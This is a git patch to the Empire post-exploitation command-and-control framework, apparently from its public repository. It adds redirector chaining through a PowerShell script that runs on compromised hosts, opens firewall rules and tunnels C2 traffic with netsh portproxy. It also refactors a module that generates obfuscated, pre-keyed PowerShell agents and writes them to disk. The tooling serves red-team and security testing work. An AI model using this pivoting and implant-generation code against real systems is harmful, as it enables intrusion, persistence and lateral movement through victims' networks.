From 89166487178a8238af9745c6f68f1c01a3078b1c Mon Sep 17 00:00:00 2001 From: Anthony Rose <20302208+Cx01N@users.noreply.github.com> Date: Wed, 9 Jun 2021 20:09:08 -0700 Subject: [PATCH] Added redirector chaining and proper tunneling (#142) * remove compiled csharp files during reset * Fixed external generate_agent * fixed redirector to tunnel all traffic * added agent chaining using redirectors * added firewall rules * fixed extra code * updated try/catch --- empire/server/common/listeners.py | 35 ++---- empire/server/common/modules.py | 7 +- empire/server/listeners/redirector.py | 23 ++-- .../server/modules/external/generate_agent.py | 114 +++++------------- .../modules/external/generate_agent.yaml | 30 +++++ empire/server/server.py | 11 +- 6 files changed, 94 insertions(+), 126 deletions(-) create mode 100644 empire/server/modules/external/generate_agent.yaml diff --git a/empire/server/common/listeners.py b/empire/server/common/listeners.py index 9ac598ab1..48378c514 100644 --- a/empire/server/common/listeners.py +++ b/empire/server/common/listeners.py @@ -188,32 +188,12 @@ def set_listener_option(self, listenerName, option, value): return True elif option in listenerObject.options: - if listenerObject.options[option]['Strict'] and option not in listenerObject.options[option]['SuggestedValues']: + if listenerObject.options.get(option, {}).get('Strict', False) and \ + option not in listenerObject.options.get(option, {}).get('SuggestedValues', []): return False listenerObject.options[option]['Value'] = value return True - # if option.lower() == 'type': - # if value.lower() == "hop": - # # set the profile for hop.php for hop - # parts = self.options['DefaultProfile']['Value'].split("|") - # self.options['DefaultProfile']['Value'] = "/hop.php|" + "|".join(parts[1:]) - - - # if parts[0].lower() == 'defaultprofile' and os.path.exists(parts[1]): - # try: - # open_file = open(parts[1], 'r') - # profile_data_raw = open_file.readlines() - # open_file.close() - - # profile_data = [l for l in profile_data_raw if not l.startswith('#' and l.strip() != '')] - # profile_data = profile_data[0].strip("\"") - - # self.mainMenu.listeners.set_listener_option(parts[0], profile_data) - - # except Exception: - # print helpers.color("[!] Error opening profile file %s" % (parts[1])) - else: print(helpers.color('[!] Error: invalid option name')) return False @@ -307,15 +287,18 @@ def start_existing_listeners(self): try: listener_module = self.loadedListeners[module_name] - for option, value in options.items(): - listener_module.options[option]['Value'] = value['Value'] - - print(helpers.color("[*] Starting listener '%s'" % listener_name)) if module_name == 'redirector': + #todo: fix redirector listeners when empire is resetarted + print(helpers.color("[!] Redirector listeners may not work when Empire is restarted.")) + #listener_module.options.update(options) success = True else: + for option, value in options.items(): + listener_module.options[option]['Value'] = value['Value'] success = listener_module.start(name=listener_name) + print(helpers.color("[*] Starting listener '%s'" % listener_name)) + if success: listener_options = copy.deepcopy(listener_module.options) self.activeListeners[listener_name] = {'moduleName': module_name, 'options': listener_options} diff --git a/empire/server/common/modules.py b/empire/server/common/modules.py index 26c54b862..56b0b2255 100644 --- a/empire/server/common/modules.py +++ b/empire/server/common/modules.py @@ -150,6 +150,9 @@ def _validate_module_params(self, module: PydanticModule, params: Dict[str, str] elif option.required: return None, f'required module option missing: {option.name}' + if module.name == 'generate_agent': + return options, None + session_id = params['Agent'] agent = self.main_menu.agents.get_agent_db(session_id) @@ -335,8 +338,8 @@ def _load_module(self, yaml_module, root_path, file_path: str): # extract just the module name from the full path module_name = file_path.split(root_path)[-1][0:-5] - if root_path != f"{self.main_menu.installPath}/modules/": - module_name = f"external/{module_name}" + #if root_path != f"{self.main_menu.installPath}/modules/": + # module_name = f"external/{module_name}" if file_path.lower().endswith('.covenant.yaml'): my_model = PydanticModule(**_convert_covenant_to_empire(yaml_module, file_path)) diff --git a/empire/server/listeners/redirector.py b/empire/server/listeners/redirector.py index 0d801f645..c478600e8 100755 --- a/empire/server/listeners/redirector.py +++ b/empire/server/listeners/redirector.py @@ -74,7 +74,7 @@ def default_response(self): (i.e. a default HTTP page), put the generation here. """ print(helpers.color("[!] default_response() not implemented for pivot listeners")) - return '' + return b'' def validate_options(self): """ @@ -737,8 +737,7 @@ def start(self, name=''): # logic for powershell agents script = """ function Invoke-Redirector { - param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) - + param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) if($ShowAll){ $out = netsh interface portproxy show all if($out){ @@ -749,6 +748,7 @@ def start(self, name=''): } } elseif($Reset){ + Netsh.exe advfirewall firewall del rule name="$FirewallName" $out = netsh interface portproxy reset if($out){ $out @@ -788,8 +788,8 @@ def start(self, name=''): $ConnectPort = $parts[2] } if($ConnectPort -ne ""){ - - $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp + Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes + $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out } @@ -806,7 +806,11 @@ def start(self, name=''): Invoke-Redirector""" script += " -ConnectHost %s" % (listenerOptions['Host']['Value']) + script += " -ConnectPort %s" % (listenerOptions['Port']['Value']) + script += " -ListenAddress %s" % (tempOptions['internalIP']['Value']) script += " -ListenPort %s" % (tempOptions['ListenPort']['Value']) + script += " -FirewallName %s" % (sessionID) + # clone the existing listener options self.options = copy.deepcopy(listenerOptions) @@ -871,8 +875,7 @@ def shutdown(self, name=''): script = """ function Invoke-Redirector { - param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) - + param($FirewallName, $ListenAddress, $ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) if($ShowAll){ $out = netsh interface portproxy show all if($out){ @@ -883,6 +886,7 @@ def shutdown(self, name=''): } } elseif($Reset){ + Netsh.exe advfirewall firewall del rule name="$FirewallName" $out = netsh interface portproxy reset if($out){ $out @@ -922,8 +926,8 @@ def shutdown(self, name=''): $ConnectPort = $parts[2] } if($ConnectPort -ne ""){ - - $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp + Netsh.exe advfirewall firewall add rule name=`"$FirewallName`" dir=in action=allow protocol=TCP localport=$ListenPort enable=yes + $out = netsh interface portproxy add v4tov4 listenaddress=$ListenAddress listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out } @@ -940,6 +944,7 @@ def shutdown(self, name=''): Invoke-Redirector""" script += " -Reset" + script += " -FirewallName %s" % (sessionID) self.mainMenu.agents.add_agent_task_db(sessionID, "TASK_SHELL", script) msg = "Tasked agent to uninstall Pivot listener " diff --git a/empire/server/modules/external/generate_agent.py b/empire/server/modules/external/generate_agent.py index 5a2037e72..740c6897f 100644 --- a/empire/server/modules/external/generate_agent.py +++ b/empire/server/modules/external/generate_agent.py @@ -1,90 +1,33 @@ from __future__ import print_function -import os import string -# Empire imports +import os + from builtins import object +from builtins import str +from typing import Dict from empire.server.common import helpers +from empire.server.common.module_models import PydanticModule from empire.server.utils import data_util from empire.server.utils.module_util import handle_error_message class Module(object): - - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'Generate Agent', - - 'Author': ['@harmj0y'], - - 'Description': ("Generates an agent code instance for a specified listener, " - "pre-staged, and register the agent in the database. This allows " - "the agent to begin beconing behavior immediately."), - - 'Software': '', - - 'Techniques': [''], - - 'Background': True, - - 'OutputExtension': None, - - 'NeedsAdmin': False, - - 'OpsecSafe': True, - - 'Language': 'Python', - - 'Comments': [] - } - - # any options needed by the module, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Listener': { - 'Description': 'Listener to generate the agent for.', - 'Required': True, - 'Value': '' - }, - 'Language': { - 'Description': 'Language to generate for the agent.', - 'Required': True, - 'Value': '' - }, - 'OutFile': { - 'Description': 'Output file to write the agent code to.', - 'Required': True, - 'Value': '/tmp/agent' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - self.mainMenu = mainMenu - - for param in params: - # parameter format is [Name, Value] - option, value = param - if option in self.options: - self.options[option]['Value'] = value - - def execute(self): - - listener_name = self.options['Listener']['Value'] - language = self.options['Language']['Value'] - out_file = self.options['OutFile']['Value'] - - if listener_name not in self.mainMenu.listeners.activeListeners: + @staticmethod + def generate(main_menu, module: PydanticModule, params: Dict, Listener: str = "", Language: str = "", OutFile: str = ""): + + listener_name = params['Listener'] + language = params['Language'] + out_file = params['OutFile'] + + if listener_name not in main_menu.listeners.activeListeners: return handle_error_message("[!] Error: %s not an active listener") - - active_listener = self.mainMenu.listeners.activeListeners[listener_name] - + + active_listener = main_menu.listeners.activeListeners[listener_name] + chars = string.ascii_uppercase + string.digits session_id = helpers.random_string(length=8, charset=chars) - staging_key = active_listener['options']['StagingKey']['Value'] delay = active_listener['options']['DefaultDelay']['Value'] jitter = active_listener['options']['DefaultJitter']['Value'] @@ -96,29 +39,28 @@ def execute(self): host = active_listener['options']['Host']['Value'] else: host = '' - + # add the agent - self.mainMenu.agents.add_agent(session_id, '0.0.0.0', delay, jitter, profile, kill_date, working_hours, + main_menu.agents.add_agent(session_id, '0.0.0.0', delay, jitter, profile, kill_date, working_hours, lost_limit, listener=listener_name, language=language) - + # get the agent's session key - session_key = self.mainMenu.agents.get_agent_session_key_db(session_id) - - agent_code = self.mainMenu.listeners.loadedListeners[active_listener['moduleName']].generate_agent( + session_key = main_menu.agents.get_agent_session_key_db(session_id) + + agent_code = main_menu.listeners.loadedListeners[active_listener['moduleName']].generate_agent( active_listener['options'], language=language) - + if language.lower() == 'powershell': agent_code += "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';" % ( host, staging_key, session_key, session_id) else: return handle_error_message('[!] Only PowerShell agent generation is supported at this time.') - + # Get the random function name generated at install and patch the stager with the proper function name agent_code = data_util.keyword_obfuscation(agent_code) # TODO: python agent generation - need to patch in crypto functions from the stager... - print(helpers.color("[+] Pre-generated agent '%s' now registered." % session_id)) # increment the supplied file name appropriately if it already exists @@ -132,17 +74,19 @@ def execute(self): else: base = '.'.join(parts[0:-1]) ext = parts[-1] - + if ext: out_file = "%s%s.%s" % (base, i, ext) else: out_file = "%s%s" % (base, i) i += 1 - + f = open(out_file, 'w') f.write(agent_code) f.close() - + print(helpers.color("[*] %s agent code for listener %s with sessionID '%s' written out to %s" % ( language, listener_name, session_id, out_file))) print(helpers.color("[*] Run sysinfo command after agent starts checking in!")) + + return agent_code diff --git a/empire/server/modules/external/generate_agent.yaml b/empire/server/modules/external/generate_agent.yaml new file mode 100644 index 000000000..03a51b2d2 --- /dev/null +++ b/empire/server/modules/external/generate_agent.yaml @@ -0,0 +1,30 @@ +name: generate_agent +authors: + - '@harmj0y' +description: Generates an agent code instance for a specified listener, pre-staged, and register the agent in the database. This allows the agent to begin beconing behavior immediately. +software: +techniques: + - T1214 + - T1003 +background: true +output_extension: +needs_admin: false +opsec_safe: true +language: powershell +min_language_version: '2' +comments: +options: + - name: Listener + description: Listener to generate the agent for. + required: true + value: '' + - name: Language + description: Language to generate for the agent. + required: true + value: '' + - name: OutFile + description: Output file to write the agent code to. + required: True + value: '/tmp/agent' +advanced: + custom_generate: true \ No newline at end of file diff --git a/empire/server/server.py b/empire/server/server.py index 360617e29..30496c6ff 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -1034,10 +1034,13 @@ def task_agent_shell(agent_name): command = request.json['command'] - # add task command to agent taskings - msg = "tasked agent %s to run command %s" % (agent.session_id, command) - main.agents.save_agent_log(agent.session_id, msg) - task_id = main.agents.add_agent_task_db(agent.session_id, "TASK_SHELL", command, uid=g.user['id']) + if command == 'sysinfo': + task_id = main.agents.add_agent_task_db(agent_name, "TASK_SYSINFO") + else: + # add task command to agent taskings + msg = "tasked agent %s to run command %s" % (agent.session_id, command) + main.agents.save_agent_log(agent.session_id, msg) + task_id = main.agents.add_agent_task_db(agent.session_id, "TASK_SHELL", command, uid=g.user['id']) return jsonify({'success': True, 'taskID': task_id})